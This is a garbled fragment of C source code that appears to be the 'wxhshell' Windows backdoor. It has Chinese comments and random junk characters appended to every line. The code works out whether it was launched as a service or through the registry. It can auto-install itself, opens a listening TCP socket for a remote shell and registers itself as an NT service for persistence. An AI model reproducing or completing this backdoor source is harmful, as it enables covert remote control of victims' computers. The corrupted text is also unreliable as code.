ULONG InheritedFromUniqueProcessId; -KNJCcBJ
} PROCESS_BASIC_INFORMATION; a;S^<8
twu6z5<!-=
PROCNTQSIP NtQueryInformationProcess; ppnj.tLz;r
p 5o;Rvr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KFs` u6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q~@8t"P
9bNIaC*M
HANDLE hProcess; G2^DukK.
PROCESS_BASIC_INFORMATION pbi; VDPN1+1*
z>0"T2W
y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (;j7{(
if(NULL == hInst ) return 0; @iP6N
K`X2N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ww,c)$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4By-+C*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _[phs06A
eLYFd,?9
if (!NtQueryInformationProcess) return 0; YQ)m?=+J
OWjZ)f/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8
KkpXaz
if(!hProcess) return 0; Vx*q'~4y!|
h^0mjdSp,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4AM*KI
:9YQX(l8
CloseHandle(hProcess); -0X> y
)mPlB.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1}uDgz^
if(hProcess==NULL) return 0; z )pV$
I7~|!d6
HMODULE hMod; =z3jFaZ
char procName[255]; op-#Ig$#
unsigned long cbNeeded; b
tu:@s8ci
vvM)Rb,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hjG1fgEj
,![=_ d
CloseHandle(hProcess); mCGcM^21-x
uf^:3{1
if(strstr(procName,"services")) return 1; // 以服务启动 ".)_kt[
O$H150,Q
return 0; // 注册表启动 H+;wnI>@
} _5T7A><q<
^8m+*t
// 主模块 V"p<A
int StartWxhshell(LPSTR lpCmdLine) *e6|SZ &3
{ ger<JSL%
SOCKET wsl; 1pb;A;F,A
BOOL val=TRUE; 0uz"}v)
int port=0; ffM(il/2
struct sockaddr_in door; 5G<CDgl^!
mvgm o
if(wscfg.ws_autoins) Install(); h2%:;phH
~&}O|B()
port=atoi(lpCmdLine); 2f!oA~|2
YP<]f>SBt
if(port<=0) port=wscfg.ws_port; ~qS/90,
!T*B{+|
WSADATA data; MQ*#oVqv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DH
!Br
S
|x)7NC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0'hx w3#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Wc/kY3&
door.sin_family = AF_INET; psC7IE<v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); I{zE73
door.sin_port = htons(port); yU|ji?)e
uB1!*S1f
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MI(i%$R-A
closesocket(wsl); 5G!U'.gr
return 1; A7C+&I!L
} AE&n^vdQW
GX)QIe~;qJ
if(listen(wsl,2) == INVALID_SOCKET) { g8+,wSE
closesocket(wsl); zb/Xfu.)?6
return 1; @(c<av?
} @S7=6RKa[
Wxhshell(wsl); H040-Q;S'
WSACleanup(); =BS'oBn^6
XQOprIJ
U
return 0; SSLshY~d
udGGDH
} zt2-w/[Q
g&TCff
// 以NT服务方式启动 XyphQ}\u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E ZKz-}
{ r$FM8$cJ
DWORD status = 0; z[%v_S
DWORD specificError = 0xfffffff; 6\Vu#r
MNqyEc""
serviceStatus.dwServiceType = SERVICE_WIN32; mzB#O;3=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; pqN[G=0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uS#Cb+*F
serviceStatus.dwWin32ExitCode = 0; K=x1mM+RK
serviceStatus.dwServiceSpecificExitCode = 0; IKDjatn
serviceStatus.dwCheckPoint = 0; F[=lA"F^
serviceStatus.dwWaitHint = 0; yl<$yd0Zdu
+~Lzsh"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3c ^=<i
%
if (hServiceStatusHandle==0) return; j{R|]SjW2H
|/^aLj^u
status = GetLastError(); 1vs>2` DLa
if (status!=NO_ERROR) WlQ=CRY
{ Kw0V4UF
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0~b6wuFl
serviceStatus.dwCheckPoint = 0; !7`=rT&